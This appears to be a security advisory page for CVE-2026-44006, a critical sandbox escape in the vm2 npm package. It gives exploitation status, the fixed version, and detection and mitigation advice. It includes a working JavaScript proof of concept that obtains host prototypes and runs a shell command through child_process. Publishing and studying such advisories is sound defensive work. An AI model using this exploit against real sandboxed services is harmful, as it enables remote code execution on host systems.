CVE-2026-44006 — vm2
CRITICALCVE-2026-44006 is a critical-severity (CVSS 10) Code Injection vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.
vm2: Sandbox Escape
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44006.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
Summary
It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes
Details
BaseHandler can be reached via util.inspect (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)
PoC
let obj = {
subarray: Buffer.prototype.inspect,
slice: Buffer.prototype.slice,
hexSlice: () => '',
};
let sym;
obj.slice(10, {
showHidden: true,
showProxy: true,
depth: 10,
stylize(a) {
const handler = this.seen && this.seen[1];
if (handler && handler.getPrototypeOf) {
gP = handler.getPrototypeOf;
HObjectProto = gP(gP(gP(gP(Buffer))));
HObject = HObjectProto.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
}
return a;
},
});
obj = {
[sym]: (depth, opt, inspect) => {
inspect.constructor('return process')()
.getBuiltinModule('child_process')
.execSync('id', { stdio: 'inherit' });
},
valueOf: undefined,
constructor: undefined,
};
WebAssembly.compileStreaming(obj).catch(() => {});
Impact
Sandbox Escape -> RCE
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.11.0npm install vm2@3.11.0 |
Affected Products
vm2vm2_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vm2 to 3.11.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44006 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
vm2 is vulnerable to sandbox escape via unrestricted access to BaseHandler.getPrototypeOf, allowing retrieval of arbitrary prototypes and host code execution. A remote unauthenticated attacker who can submit sandboxed code may escape the sandbox. Fixed in vm2 3.11.0.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.1 | ansible-automation-platform/automation-portal:1785854226 | RHSA-2026:50850 |
Frequently Asked Questions
Is CVE-2026-44006 in your dependencies?
Find it across npm, including transitive dependencies.